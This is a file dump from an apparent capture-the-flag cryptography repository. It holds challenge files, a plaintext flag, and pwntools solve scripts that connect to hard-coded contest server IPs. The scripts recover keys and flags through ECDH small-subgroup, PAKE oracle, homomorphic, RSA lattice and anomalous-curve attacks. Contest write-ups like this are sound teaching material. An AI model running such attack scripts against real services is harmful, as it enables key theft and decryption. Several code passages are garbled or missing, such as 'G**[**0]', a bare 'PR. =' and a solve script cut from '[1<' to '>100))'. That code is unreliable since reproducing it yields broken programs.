196 | T3 = (T4 - X3) % int(self.ecc_table['p'], base=16) 197 | T1 = (T1 * T3) % int(self.ecc_table['p'], base=16) 198 | Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16) 199 | 200 | form = '%%0%dx' % self.para_len 201 | form = form * 3 202 | return form % (X3, Y3, Z3) 203 | 204 | def _convert_jacb_to_nor(self, Point): 205 | len_2 = 2 * self.para_len 206 | x = int(Point[0:self.para_len], 16) 207 | y = int(Point[self.para_len:len_2], 16) 208 | z = int(Point[len_2:], 16) 209 | z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16)) 210 | z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16) 211 | z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16) 212 | x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16) 213 | y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16) 214 | z_new = (z * z_inv) % int(self.ecc_table['p'], base=16) 215 | if z_new == 1: 216 | form = '%%0%dx' % self.para_len 217 | form = form * 2 218 | return form % (x_new, y_new) 219 | else: 220 | return None 221 | if __name__ == "__main__": 222 | from pwn import * 223 | loop = 256 224 | flag = "" 225 | for index in range(loop): 226 | io = remote("182.92.153.117", 30102) 227 | A = io.recvline()[4:-1].decode() 228 | hash_pwd = io.recvline()[7:-1].decode() 229 | pk = io.recvline()[12:-1].decode() 230 | cipher = io.recvline()[9:-1].decode() 231 | client = APAKE(hashed_pwd=hash_pwd, pk=pk) 232 | B = client.calc_B() 233 | kg = client.calc_kG(A) 234 | io.sendlineafter(b"B = ?", B) 235 | c = client.calc_c(cipher, kg, index) 236 | c_prime = io.sendlineafter(b"c_prime = ?", c) 237 | signature = io.recvline()[12:-1].decode() 238 | pk = client.calc_pk(index) 239 | if client._verify(A+B+c, pk, signature): 240 | flag +=str(((int(cipher,16) & (1 << index))>>index) ^ 0) 241 | else: 242 | flag +=str(((int(cipher,16) & (1 << index))>>index) ^ 1) 243 | print(long_to_bytes(int(flag[::-1],2))) -------------------------------------------------------------------------------- /2020/De1CTF/solve_ecdh.sage: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from pwn import * 3 | import multiprocessing 4 | import string 5 | import itertools 6 | import hashlib 7 | from binascii import a2b_hex,b2a_hex 8 | from Crypto.Util.number import long_to_bytes,bytes_to_long 9 | 10 | context.log_level = "debug" 11 | def generate(): 12 | alphabet = string.ascii_letters + string.digits 13 | for chars in itertools.product(alphabet, repeat=4): 14 | yield "".join(chars) 15 | 16 | def check(word): 17 | if hashlib.sha256((word + nonce).encode()).hexdigest() == target: 18 | return word 19 | 20 | def pow(): 21 | assert len(target) == 64 22 | assert len(nonce) == 16 23 | print("Running in", multiprocessing.cpu_count(), "processes...") 24 | 25 | pool = multiprocessing.Pool(multiprocessing.cpu_count()) 26 | for result in pool.imap(check, generate(),10000): 27 | if result: 28 | print(result) 29 | pool.terminate() 30 | pool.close() 31 | return result 32 | 33 | def backdoor(secret): 34 | io.sendline("Backdoor") 35 | io.sendlineafter("Give me the secret:\n",(str(secret))) 36 | 37 | def exchange(x,y): 38 | if count !=0: 39 | io.sendline("Exchange") 40 | io.sendlineafter("X:\n", str(x)) 41 | io.sendlineafter("Y:\n", str(y)) 42 | io.sendline("Encrypt") 43 | io.sendlineafter("Give me your message(hex):\n", "f"*128) 44 | io.recvuntil("The result is:\n") 45 | data = io.recvuntil("\n").split(b"\n")[0] 46 | pointcompress = int.from_bytes(a2b_hex(data),"big") 47 | ex,ey = (pointcompress>>256)&(2**256-1)^(2**256-1),pointcompress&(2**256-1)^(2**256-1) 48 | return ex,ey 49 | 50 | def main_loop(): 51 | global count 52 | count = 0 53 | p = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd 54 | a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa 55 | 56 | quotients, mods = [], [] 57 | factors = [[17, 2311817], [ 443], [11, 47, 1327481], [37, 59, 71337711241], [2333, 5657, 287038167079], [178933314029, 31721990265529, 10656972007187707], [23, 499],[1103], [96789257], [10903, 10713047],[43],[719, 80599],[31, 19813513],[3, 1968625373111472113],[103, 853, 1567, 20731],[11, 119653],[],[],[112327, 141811]] 58 | for i in [2, 3, 4, 5, 8, 9,10,11,12,14,15,18]: 59 | b = i 60 | try: 61 | E = EllipticCurve(GF(p), [a, b]) 62 | order = E.order() 63 | for prime in factors[i]: 64 | if prime > 10 and prime < 2**32 and prime not in mods: 65 | try: 66 | print("Solving for prime", prime) 67 | G = E.gen(0) * int(order / prime) # if cost time too much we change other b for other ecc. 68 | G1x, G1y = exchange(G**[**0], G[1]) 69 | count+=1 70 | G1 = E(G1x, G1y) 71 | solution = G.discrete_log(G1) 72 | print("K mod " + str(prime) + " = " + str(solution)) 73 | mods.append(prime) 74 | quotients.append(solution) 75 | print('Known relations', quotients, mods) 76 | except Exception as e: 77 | print(e) 78 | pass # wrong point 79 | except Exception as e: 80 | print(e) 81 | pass # wrong curve 82 | secret = CRT_list(quotients, mods) 83 | print(secret) 84 | print('Secret', secret%p) 85 | backdoor(secret%p) 86 | backdoor(secret%p) 87 | 88 | if __name__ == "__main__": 89 | io = remote("134.175.225.42", 8848) 90 | data = io.recvuntil("\n") 91 | target = data[data.find(b" == ") + 4 : data.find(b"\n")].decode() 92 | nonce = data[data.find(b"+") + 1 : data.find(b")")].decode() 93 | s = pow() 94 | io.sendlineafter("Give me XXXX:",s) 95 | main_loop() -------------------------------------------------------------------------------- /2020/De1CTF/solve_homomo.sage: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from pwn import * 3 | import multiprocessing 4 | import string 5 | import itertools 6 | import hashlib 7 | from binascii import a2b_hex,b2a_hex 8 | from Crypto.Util.number import long_to_bytes,bytes_to_long 9 | from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler 10 | import os,random,sys,string 11 | 12 | # assert(len(flag) == 44) 13 | # context.log_level = "debug" 14 | 15 | q = 2^54 16 | t = 2^8 17 | d = 2^10 18 | delta = int(q/t) 19 | PR. = PolynomialRing(ZZ) 20 | DG = DiscreteGaussianDistributionIntegerSampler(sigma=1) 21 | fx = x^d + 1 22 | Q. = PR.quotient(fx) 23 | 24 | def sample(r): 25 | return Q([randint(0,r) for _ in range(d)]) 26 | 27 | def genError(): 28 | return Q([DG() for _ in range(d)]) 29 | 30 | def Round(a,r): 31 | A = a.list() 32 | for i in range(len(A)): 33 | A[i] = (A[i]%r) - r if (A[i]%r) > r/2 else A[i]%r 34 | return Q(A) 35 | 36 | def round_normal(a,r): 37 | A = a 38 | for i in range(len(A)): 39 | A[i] = (A[i]%r) - r if (A[i]%r) > r/2 else A[i]%r 40 | return A 41 | 42 | def genKeys(): 43 | s = sample(1) 44 | a = Round(sample(q-1),q) 45 | e = Round(genError(),q) 46 | pk = [Round(-(a*s+e),q),a] 47 | return s,pk 48 | 49 | def encrypt(m): 50 | u = sample(1) 51 | e1 = genError() 52 | e2 = genError() 53 | c1 = Round(pk[0]*u + e1 + delta*m,q) 54 | c2 = Round(pk[1]*u + e2,q) 55 | return (c1.list(),c2.list()) 56 | 57 | def decrypt(c): 58 | c0 = Q([i for i in c[0]]) 59 | c1 = Q([i for i in c[1]]) 60 | data = (t * Round(c0 + c1*s,q)).list() 61 | for i in range(len(data)): 62 | data[i] = round(data[i]/q) 63 | data = Round(Q(data),t) 64 | return data 65 | 66 | def add(c1,c2): 67 | return (round_normal(c1[0]+c2[0],q),round_normal(c1[1]+c2[1],q)) 68 | 69 | def generate(): 70 | alphabet = string.ascii_letters + string.digits 71 | for chars in itertools.product(alphabet, repeat=4): 72 | yield "".join(chars) 73 | 74 | def check(word): 75 | if hashlib.sha256((word + nonce).encode()).hexdigest() == target: 76 | return word 77 | 78 | def pow(): 79 | assert len(target) == 64 80 | assert len(nonce) == 16 81 | print("Running in", multiprocessing.cpu_count(), "processes...") 82 | 83 | pool = multiprocessing.Pool(multiprocessing.cpu_count()) 84 | for result in pool.imap(check, generate(),10000): 85 | if result: 86 | print(result) 87 | pool.terminate() 88 | pool.close() 89 | return result 90 | 91 | def enczero(): 92 | io.sendline("Encrypt") 93 | io.sendlineafter("Please input your data:\n","\x00") 94 | io.recvuntil("The result is: \n") 95 | data = io.recvuntil("\n") 96 | enc_zero = eval(data[:data.find(b"\n")])[0] 97 | return enc_zero 98 | 99 | def dec(c): 100 | c0 = str(c[0]).replace("[","").replace("]","") 101 | c1 = str(c[1]).replace("[","").replace("]","") 102 | io.sendline("Decrypt") 103 | io.sendlineafter("Please input c0(Separated by commas):\n", c0) 104 | io.sendlineafter("Please input c1(Separated by commas):\n", c1) 105 | io.sendlineafter("The index:\n", str(0)) 106 | io.recvuntil("The result is: \n") 107 | flag_bytes = chr(eval(io.recvuntil("\n").split(b"\n")[0])) 108 | return flag_bytes 109 | 110 | if __name__ == "__main__": 111 | io = remote("106.52.135.150", 8848) 112 | data = io.recvuntil("\n") 113 | target = data[data.find(b" == ") + 4 : data.find(b"\n")].decode() 114 | nonce = data[data.find(b"+") + 1 : data.find(b")")].decode() 115 | s = pow() 116 | io.sendlineafter("Give me XXXX:",s) 117 | io.recvuntil("The enc flag is: \n") 118 | cipher = [] 119 | for i in range(44): 120 | tmp = [] 121 | for j in range(2): 122 | tmp.append(eval(io.recvuntil("\n").split(b"\n")[0])) 123 | cipher.append(tmp) 124 | enc_zero = enczero() 125 | flag_enc = [] 126 | for i in cipher: 127 | flag_enc.append(add(i,enc_zero)) 128 | flag = "" 129 | for c in flag_enc: 130 | flag+=dec(c) 131 | print(flag) -------------------------------------------------------------------------------- /2020/De1CTF/solve_rsa.sage: -------------------------------------------------------------------------------- 1 | N = 24402191928494981635640497435944050736451453218629774561432653700273120014058697415669445779441226800209154604159648942665855233706977525093135734838825433023506185915211877990448599462290859092875150657461517275171867229282791419867655722945527203477335565212992510088077874648530075739380783193891617730212062455173395228143660241234491822044677453330325054451661281530021397747260054593565182679642519767415355255125571875708238139022404975788807868905750857687120708529622235978672838872361435045431974203089535736573597127746452000608771150171882058819685487644883286497700966396731658307013308396226751130001733 2 | e1 = 4046316324291866910571514561657995962295158364702933460389468827072872865293920814266515228710438970257021065064390281148950759462687498079736672906875128944198140931482449741147988959788282715310307170986783402655196296704611285447752149956531303574680859541910243014672391229934386132475024308686852032924357952489090295552491467702140263159982675018932692576847952002081478475199969962357685826609238653859264698996411770860260854720047710943051229985596674736079206428312934943752164281391573970043088475625727793169708939179742630253381871307298938827042259481077482527690653141867639100647971209354276568204913 3 | e2 = 1089598671818931285487024526159841107695197822929259299424340503971498264804485187657064861422396497630013501691517290648230470308986030853450089582165362228856724965735826515693970375662407779866271304787454416740708203748591727184057428330386039766700161610534430469912754092586892162446358263283169799095729696407424696871657157280716343681857661748656695962441400433284766608408307217925949587261052855826382885300521822004968209647136722394587701720895365101311180886403748262958990917684186947245463537312582719347101291391169800490817330947249069884756058179616748856032431769837992142653355261794817345492723 4 | cipher = 5089249888618459947548074759524589606478578815336059949176718157024022678024841758856813241335191315643869492784030633661717346809979076682611760035885176766380484743187692409876479000444892361744552075578050587677106211969169204446554196613453202059517114911102484740265052582801216204900709316109336061861758409342194372241877343837978525533125320239702501424169171652846761028157198499078668564324989313965631396082388643288419557330802071756151476264735731881236024649655623821974147680672733406877428067299706347289297950375309050765330625591315867546015398294367460744885903257153104507066970239487158506328863 5 | # gmpy2.iroot(n,3)[0] 6 | delta = 29005227725215799238097041741168636427834144546989585476013832972572933548628123495276629059735889617295402541730769791990553220937251748966268074846866845936049907485155339072202153045106298563325868450217 7 | 8 | import random 9 | txt = [] 10 | for i in range(0,1000): 11 | r = random.randint(delta,delta*0x1000000000001) 12 | d = gmpy2.next_prime(r) 13 | txt.append(len(bin(r))-2) 14 | print(min(txt),max(txt)) 15 | 16 | prod = delta*0x1000000000001 17 | print(len(bin(prod))-2) 18 | print(len(bin(n))-2) 19 | for i in range(721,731): 20 | alpha2 = i/2048.0 21 | M1 = int(gmpy2.mpz(N)**0.5) 22 | M2 = int( gmpy2.mpz(N)**(1+alpha2) ) 23 | D = diagonal_matrix(ZZ, [N, M1, M2, 1]) 24 | B = Matrix(ZZ, [ [1, -N, 0, N**2], 25 | [0, e1, -e1, -e1*N], 26 | [0, 0, e2, -e2*N], 27 | [0, 0, 0, e1*e2] ]) * D 28 | 29 | L = B.LLL() 30 | 31 | v = Matrix(ZZ, L[0]) 32 | x = v * B**(-1) 33 | phi = (x[0,1]/x[0,0]*e1).floor() 34 | PR = PolynomialRing(ZZ, 'x') 35 | x = PR.gen() 36 | f = x**2 - (N-phi+1)*x + N 37 | if f.roots(): 38 | p, q = f.roots()[0][0], f.roots()[1][0] 39 | print(p,q) 40 | # delta = gmpy2.iroot(int(n),3)[0] 41 | 42 | p,q = 164656643539180925347475035876826907587199570943539307676762086404241326460063386893278258493073733978603659757523760170941847034546324084161431556008103796534759579880492223105993619977963949209840899400364222416468003629138981209521765041321074969084702038097657087959196212800443128569333895038438974561697, 148200469801805173393293666351607372373355407108901977655162799217476965765641914828652632883042889603392209499457062692550300804069662537252557699521765433687428676373988570114640055725138882946902538753625024080637967997887339080346556835117150732853847866272882186127502807796922777978933510533779340753189 43 | cm = lcm(p-1,q-1) 44 | d1 = inverse_mod(e1,cm) 45 | d2 = inverse_mod(e2,cm) 46 | from Crypto.Util.number import long_to_bytes,bytes_to_long 47 | print(long_to_bytes(pow(cipher,d1,N))) 48 | print(long_to_bytes(pow(cipher,d2,N))) 49 | -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/README.md: -------------------------------------------------------------------------------- 1 | # DGK_Crypto 2 | 3 | ## 部署 4 | 5 | 将chall文件夹打包即可,不需要网络环境 6 | 7 | ## 题解 8 | 9 | 考察点:`DGK原理` `small_roots`, `加法同态加密`,解题脚本: `src/solve.sage` -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/chall/encs.txt: -------------------------------------------------------------------------------- 1 | [10236270063897113618405771538149896665127646399804853456175453906123183307564878317902295914229969989173369948565377355517309748007187075629609338971362325831504601703668356532998317635148290395183322522079275196864245616485826298805316320201537677869573024719729337395161695804245467329515453141588409613796, 11603612978066958982916265241232936501584971948090373478173783147424090192495687934152593884545409505440110693847570402415054454685342791346313239247525696573159406132433850371811094136171956851856627533596827672800366959411398357057150594906508340020259768420407176693489999697673289690088777459035952004625, 8932957684120190648338847014242845552812996542818688648645044437943715337456722337475308016124388050212009684965845502195343538982464796297879774035076019147573333650426456769714541434710828370850054029802115234900604804262521683635231112403319994602492470032507065820915170439239766359122096024165498474951, 18646280900075580517667003922364771854669135801356119161320776459728588358843979924903980532252383820591417067725136303019319618662328322412935890719072429327649656967058287427377658404625586962870479845670894502724567678209332631859035859872551139903186003606562307174868318891261787717290100936705209776836, 10498484660434116246074889661803120715316259010408459794926359225677570920482757986233170307895007014930335417241499773645344217886661600436982303988307718075088401510435003399805450157794450967928985204166256269582019881460316193390736079803745253191715486482861373916902041138185184369727504967995896963921, 9678701851686747188870725495540733330673942361135751750966721505406316883007588941796779462485629471773226169879857272531184039031047258917937514939641831688921694890884140364385473286121421237963898839076868790247145394484195595241299140771569776617547044064154361113116380449178049845045178342194476092694, 4337715383923259548525197657482304699501671445636233473130775366653185435867154513579839884729840325428645726979526519412178702400885233281809812236036469494996490468001522150667665206292497111727119896444109729891447088478675812264920282627708556402840896378859772978379202417448647277415101873428555402203, 4017538505276991025494053433501536127851917928604148041678741481785793465570805814813997312333241040292325778856608978157030217695798192194896765878481030156947894797059803630109383685752353761351713824393039502131982136276385288206658053780418335805821437214705200477711937473581828331393926988072464368836, 18359914273309262557357527477316562923267026414611801484923192357283891273364913178315137531690270839263500536216664691491387378076175595692560300603901526950597395879957267662252891574937190121063065114280151159867163570195605083022805459108028391091549854966714443961408229708423338665908524608940531575169] -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/chall/hint.txt: -------------------------------------------------------------------------------- 1 | 779847951253040881087724809801668297471494866526007425579051102141483035699083390357616416323093 2 | 7370081827144744025027729605466327358037482023043764824311394927402566682144007483592423176449199911128420893084007669920155 -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/chall/public.txt: -------------------------------------------------------------------------------- 1 | (21188841931691524901076573605187290891011021005265268821329407004076842588970263355746365272765678529460219551975772284806921642745939436948384819822845523128208236685849251571302763385064674292860255333374683533873779357474377772256798227528027008615030263468072711088566519479346252137119710626911719784449, 18446744073709551616, 1403647676366282720697897195241479101655651106430698741834119992032508622410684849126649606476475072018931568011988307378609279682094248861178840169706131785082140625000946820657695861222356668207212493276844464847593729618600226826147076828581534892613668958851509242870934839626929070795838527864795407525, 16594828630481143194406609507714047718532649644106075401530644789728722904689081963369373911733907843404736473618210328880996880074965642800012597855447598387746427329383806449579261067335617539147617010377024493272020355314900292388271633259218815190715434865579829039461022026378869996314696557220328202400) -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/chall/task.sage: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env sage 2 | from secret import FLAG 3 | 4 | class DGK(object): 5 | def __init__(self, nbits, lbits): 6 | self.nbits = nbits 7 | self.lbits = 2 * lbits 8 | self.pubkey, self.prikey = self.keygen() 9 | self.n, self.u, self.g, self.h = self.pubkey 10 | self.vp, self.vq, self.p, self.q = self.prikey 11 | 12 | def keygen(self): 13 | vpq_bits = 160 14 | vp = random_prime(2**vpq_bits,False,2**(vpq_bits-1)) 15 | vq = random_prime(2**vpq_bits,False,2**(vpq_bits-1)) 16 | u = 1 << self.lbits 17 | 18 | r1bits = self.nbits / 2 - vpq_bits - self.lbits 19 | flag = 0 20 | while not flag: 21 | r1 = random_prime(2**r1bits,False,2**(r1bits-1)) 22 | p = (u*vp*r1) + 1 23 | flag = is_prime(p) 24 | 25 | r2bits = self.nbits / 2 - vpq_bits - 1 - self.lbits 26 | flag = 0 27 | while not flag: 28 | r2 = random_prime(2**r2bits,False,2**(r2bits-1)) 29 | q = (u*vq*r2) + 1 30 | flag = is_prime(q) 31 | 32 | n = p * q 33 | 34 | xp = randint(0, p) 35 | 36 | e1 = (u >> 1) * vp * r1 37 | e2 = u * vp 38 | e3 = u * r1 39 | 40 | while not (pow(xp, e1, p)!=1 and pow(xp, e2, p)!=1 and pow(xp, e3, p)!=1): 41 | xp = randint(0, p) 42 | 43 | xq = randint(0, q) 44 | e1 = (u >> 1) * vq * r2 45 | e2 = u * vq 46 | e3 = u * r2 47 | 48 | while not (pow(xq, e1, q)!=1 and pow(xq, e2, q)!=1 and pow(xq, e3, q)!=1): 49 | xq = randint(0, q) 50 | 51 | qinv = inverse_mod(q, p) 52 | pinv = inverse_mod(p, q) 53 | g = (qinv * q * xp + pinv * p * xq) % n 54 | g = pow(g, r1*r2, n) 55 | h = pow(g, r1*r2*u, n) 56 | 57 | return (n, u, g, h), (vp, vq, p, q) 58 | 59 | def encrypt(self, pt): 60 | assert int(pt).bit_length() <= self.lbits 61 | r = randint(0, 2**400) 62 | r = pow(self.h, r, self.n) 63 | ct = pow(self.g, pt, self.n) 64 | ct = Integer((ct * r) % self.n) 65 | return ct 66 | 67 | 68 | if __name__ == "__main__": 69 | from Crypto.Util.number import bytes_to_long, long_to_bytes 70 | assert len(FLAG) == 72 71 | dgk = DGK(1024, 32) 72 | chunks, chunk_size = len(FLAG), 8 73 | flag_num = [bytes_to_long(FLAG[i:i+chunk_size]) for i in range(0, chunks, chunk_size)] 74 | cts = [dgk.encrypt(i) for i in flag_num] 75 | encs = [] 76 | acc = 1 77 | for ct in cts: 78 | acc = (acc * ct) % dgk.n 79 | encs.append(acc) 80 | 81 | vp, vq, p, q = dgk.prikey 82 | with open("public.txt", "w+") as f: 83 | f.write(str(dgk.pubkey)) 84 | with open("hint.txt", "w+") as f: 85 | f.write(str(vp*vq) + "\n") 86 | f.write(str((p+q)>>100)) 87 | with open("encs.txt", "w") as f: 88 | f.write(str(encs)) -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/src/secret.py: -------------------------------------------------------------------------------- 1 | FLAG = b"HITCTF2020{Do_you_know_dgk_cryptosystem_is_very_efficient_in_MPC_Q@Q###}" -------------------------------------------------------------------------------- /2020/HITCTF/crypto_dgk/src/solve.sage: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env sage 2 | from secret import FLAG 3 | 4 | class DGK(object): 5 | def __init__(self, nbits, lbits): 6 | self.nbits = nbits 7 | self.lbits = 2 * lbits 8 | self.pubkey, self.prikey = self.keygen() 9 | self.n, self.u, self.g, self.h = self.pubkey 10 | self.vp, self.vq, self.p, self.q = self.prikey 11 | 12 | def keygen(self): 13 | vpq_bits = 80 14 | vp = random_prime(2**vpq_bits,False,2**(vpq_bits-1)) 15 | vq = random_prime(2**vpq_bits,False,2**(vpq_bits-1)) 16 | u = 1 << self.lbits 17 | 18 | r1bits = self.nbits / 2 - vpq_bits - self.lbits 19 | flag = 0 20 | while not flag: 21 | r1 = random_prime(2**r1bits,False,2**(r1bits-1)) 22 | p = (u*vp*r1) + 1 23 | flag = is_prime(p) 24 | 25 | r2bits = self.nbits / 2 - vpq_bits - 1 - self.lbits 26 | flag = 0 27 | while not flag: 28 | r2 = random_prime(2**r2bits,False,2**(r2bits-1)) 29 | q = (u*vq*r2) + 1 30 | flag = is_prime(q) 31 | 32 | n = p * q 33 | 34 | xp = randint(0, p) 35 | 36 | e1 = (u >> 1) * vp * r1 37 | e2 = u * vp 38 | e3 = u * r1 39 | 40 | while not (pow(xp, e1, p)!=1 and pow(xp, e2, p)!=1 and pow(xp, e3, p)!=1): 41 | xp = randint(0, p) 42 | 43 | xq = randint(0, q) 44 | e1 = (u >> 1) * vq * r2 45 | e2 = u * vq 46 | e3 = u * r2 47 | 48 | while not (pow(xq, e1, q)!=1 and pow(xq, e2, q)!=1 and pow(xq, e3, q)!=1): 49 | xq = randint(0, q) 50 | 51 | qinv = inverse_mod(q, p) 52 | pinv = inverse_mod(p, q) 53 | g = (qinv * q * xp + pinv * p * xq) % n 54 | g = pow(g, r1*r2, n) 55 | h = pow(g, r1*r2*u, n) 56 | 57 | tmp1 = pow(g, vp, p) 58 | tmp2 = u - 1 59 | 60 | self.pow_2 = [1<>100)) 117 | with open("encs.txt", "w") as f: 118 | f.write(str(encs)) 119 | 120 | with open("public.txt", "r") as f: 121 | n,u,g,h = literal_eval(f.read()) 122 | with open("hint.txt", "r") as f: 123 | vpvq ,p_add_q = map(int, f.read().split("\n")) 124 | with open("encs.txt", "r") as f: 125 | encs = literal_eval(f.read()) 126 | 127 | p_add_q = p_add_q << 100 128 | p_pro = (p_add_q + int(sqrt(p_add_q * p_add_q - 4 * n))) // 2 129 | F. = PolynomialRing(Zmod(n), implementation='NTL') 130 | poly = p_pro + x 131 | x0 = poly.small_roots(X = 2 ** 100, beta = 0.11, epsilon = 0.5) 132 | if x0: 133 | p = int(gcd(p_pro+x0[0],n)) 134 | q = n//int(p) 135 | assert p*q == n 136 | vp = gcd(p-1, vpvq) 137 | vq = gcd(q-1, vpvq) 138 | 139 | pre = 0 140 | flag = b"" 141 | for i in encs: 142 | pts = decrypt(i, g, vp, p, 32) 143 | flag+=long_to_bytes((pts-pre)%2**64) 144 | pre = pts 145 | print(flag) -------------------------------------------------------------------------------- /2020/N1CTF/curve_solve.sage: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import random 3 | import multiprocessing 4 | import string 5 | import itertools 6 | import hashlib 7 | from binascii import a2b_hex,b2a_hex 8 | import re 9 | from Crypto.Util.number import long_to_bytes,bytes_to_long 10 | 11 | # context.log_level = "debug" 12 | def generate(): 13 | alphabet = string.ascii_letters + string.digits 14 | for chars in itertools.product(alphabet, repeat=4): 15 | yield "".join(chars) 16 | 17 | def check(word): 18 | if hashlib.sha256((nonce+word).encode()).hexdigest() == target: 19 | return word 20 | 21 | def PoW(): 22 | print("[*] Running in", multiprocessing.cpu_count(), "processes...") 23 | pool = multiprocessing.Pool(multiprocessing.cpu_count()) 24 | for result in pool.imap(check, generate(),10000): 25 | if result: 26 | print("[+] find: ", result) 27 | pool.terminate() 28 | pool.close() 29 | return result 30 | 31 | def launch_attack(phi_P, Q, E, p): 32 | Eqp = EllipticCurve(Qp(p, 8), [ZZ(t) for t in E.a_invariants()]) 33 | 34 | Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True) 35 | for Q_Qp in Q_Qps: 36 | if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]: 37 | break 38 | p_times_Q = p * Q_Qp 39 | 40 | x_Q, y_Q = p_times_Q.xy() 41 | 42 | phi_Q = -(x_Q / y_Q) 43 | k = phi_Q / phi_P 44 | 45 | return ZZ(k) % p 46 | 47 | def gen_weak_curve(): 48 | P = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b 49 | A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07 50 | B = 7668542654793784988436499086739239442915170287346121645884096222948338279165302213440060079141960679678526016348025029558335977042712382611197995002316466 51 | return P, A, B 52 | 53 | if __name__ == "__main__": 54 | p,a,b = gen_weak_curve() 55 | E = EllipticCurve(GF(p), [a, b]) 56 | G = random.choice(E.gens()) 57 | Eqp = EllipticCurve(Qp(p, 8), [ZZ(t) for t in E.a_invariants()]) 58 | 59 | G_Qps = Eqp.lift_x(ZZ(G.xy()[0]), all=True) 60 | for G_Qp in G_Qps: 61 | if GF(p)(G_Qp.xy()[1]) == G.xy()[1]: 62 | break 63 | 64 | 65 | p_times_G = p * G_Qp 66 | 67 | x_G, y_G = p_times_G.xy() 68 | 69 | phi_G = -(x_G / y_G) 70 | io = remote("47.242.140.57", 9998) 71 | pow_line = io.recvline() 72 | target = pow_line[pow_line.find(b" == ")+4:-1].decode() 73 | nonce = pow_line[pow_line.find(b"sha256(")+7:pow_line.find(b"sha256(")+23].decode() 74 | assert len(target) == 64 75 | assert len(nonce) == 16 76 | io.sendlineafter(b"Give me XXXX: ",PoW()) 77 | 78 | io.sendlineafter(b"P: ", str(p)) 79 | io.sendlineafter(b"A: ", str(a)) 80 | io.sendlineafter(b"B: ", str(b)) 81 | io.sendlineafter(b"X1: ", str(G.xy()[0])) 82 | io.sendlineafter(b"Y1: ", str(G.xy()[1])) 83 | io.sendlineafter(b"X2: ", str(G.xy()[0])) 84 | io.sendlineafter(b"Y2: ", str(G.xy()[1])) 85 | for loop in range(30): 86 | print("[+] predicting on ", loop) 87 | abc = io.recvline() 88 | abc = abc.replace(b"(", b"") 89 | abc_num = [int(s) for s in abc.split() if s.isdigit()] 90 | Pa = E(abc_num[0], abc_num[1]) 91 | Pb = E(abc_num[2], abc_num[3]) 92 | Pc = E(abc_num[4], abc_num[5]) 93 | a0 = launch_attack(phi_G, Pa, E, p) 94 | if a0*Pb == Pc: 95 | io.sendlineafter(b"Choice: ", str(0)) 96 | else: 97 | io.sendlineafter(b"Choice: ", str(1)) 98 | print(io.recvline()) -------------------------------------------------------------------------------- /2020/N1CTF/flagbot_solve.sage: -------------------------------------------------------------------------------- 1 | from hashlib import sha256 2 | from Crypto.Cipher import AES 3 | from Crypto.Util.number import long_to_bytes, bytes_to_long 4 | import base64 5 | 6 | Ps = [] 7 | As = [] 8 | Bs = [] 9 | Gs = [] 10 | S_pubs = [] 11 | R_pubs = [] 12 | P = 66116745352204681519469100961724220561156687225236967561841501424810928307807 13 | A = 25080904022674360699928001742955972930647134245095368243176041782631007842721 14 | B = 51653146499008013562938728057440216556983928277479897024444219497340655463785 15 | g = (63081569813401008552324671243982371480394903382778267836374074361871201577834, 23474141625196059564605908362235632708979984522174825228263753550289099376123) 16 | S_pub = (24019555976552900590169231571461552054483009204136674938458250215680500736104, 28011367537644480596653140995440810446354950450235617877156869800605294049216) 17 | R_pub = (21964916650662314987863240651434170404291932859105698307245034338578258435153, 35342442175625429390144720170949410218699162882078535647858248442359306505200) 18 | Ps.append(P) 19 | As.append(A) 20 | Bs.append(B) 21 | Gs.append(g) 22 | S_pubs.append(S_pub) 23 | R_pubs.append(R_pub) 24 | 25 | A = 2043815101359890065237307309939296857003577532583569338661660469466065827348 26 | B = 102067006665666390630291837887546295447695223287490132072379307910043009809365 27 | P = 113695419170059566479346310029048094168019545028712145271916973344605708411231 28 | g = (20423141275809893159167255142239866844060625870997452377601981868107180347177, 19992442879371504373024138247445104476473382515298680276871238677864732873443) 29 | S_pub = (20441117040475832878884881554942470687198039971240520739479757559219246872653, 45246074815149735681764719655664095933149602519570537420221414480297443431660) 30 | R_pub = (83790456887960986270075993688251061667028849061705590683529854218000565384653, 37034086787952126250768442161874707448314299329519714523930420666430617617436) 31 | Ps.append(P) 32 | As.append(A) 33 | Bs.append(B) 34 | Gs.append(g) 35 | S_pubs.append(S_pub) 36 | R_pubs.append(R_pub) 37 | 38 | A = 65648683508174640005634659396734789146850512565992025130433731687468428014179 39 | B = 26272780223380324248552131058359547612836533364530177350421100387341037019139 40 | P = 83896367993822828206543253354724494500260288857736562669184182628538083809367 41 | g = (66637030276058391005466451194860659717163350367470416781614482222291041550445, 42130578561329742617661868751583766503456310634248769620710117199609280153951) 42 | S_pub = (925254032087886664320524398426659165460688490381753543166449423088972289752, 34161936287534442440574848409277776704051339550136374930448045799102091304385) 43 | R_pub = (77487783629582269393021073745111288030731815996077926643703967191623342061769, 17069968312494305342308603449255126232649317598681866690930793862460244213073) 44 | Ps.append(P) 45 | As.append(A) 46 | Bs.append(B) 47 | 